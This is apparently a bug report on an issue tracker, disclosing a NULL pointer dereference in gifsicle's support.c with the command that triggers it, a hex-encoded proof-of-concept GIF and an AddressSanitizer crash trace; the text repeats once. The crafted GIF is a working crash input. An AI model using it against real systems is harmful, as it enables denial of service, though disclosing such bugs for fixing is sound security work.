In support.c line 1110, The gfcm could be a NULL pointer in some cases.
Here is the usage:
gifsicle -t 1 test.gif -o test1.gif
POC here: \x47\x49\x46\x38\x39\x61\x01\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b
Here is Asan's report:
ASAN:SIGSEGV
=================================================================
==105510== ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004455e7 sp 0x7ffeda9eb800 bp 0x600e0000df80 T0)
AddressSanitizer can not provide additional info.
#0 0x4455e6 (/home/lcy/gifsicle/gifsicle+0x4455e6)
#1 0x44b496 (/home/lcy/gifsicle/gifsicle+0x44b496)
#2 0x45af92 (/home/lcy/gifsicle/gifsicle+0x45af92)
#3 0x45dedc (/home/lcy/gifsicle/gifsicle+0x45dedc)
#4 0x40651e (/home/lcy/gifsicle/gifsicle+0x40651e)
#5 0x7f86fba2ff44 (/lib/x86_64-linux-gnu/libc-2.19.so+0x21f44)
#6 0x407cf4 (/home/lcy/gifsicle/gifsicle+0x407cf4)
==105510== ABORTING
The text was updated successfully, but these errors were encountered:
In support.c line 1110, The gfcm could be a NULL pointer in some cases.
Here is the usage:
gifsicle -t 1 test.gif -o test1.gif
POC here:
\x47\x49\x46\x38\x39\x61\x01\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3bHere is Asan's report:
The text was updated successfully, but these errors were encountered: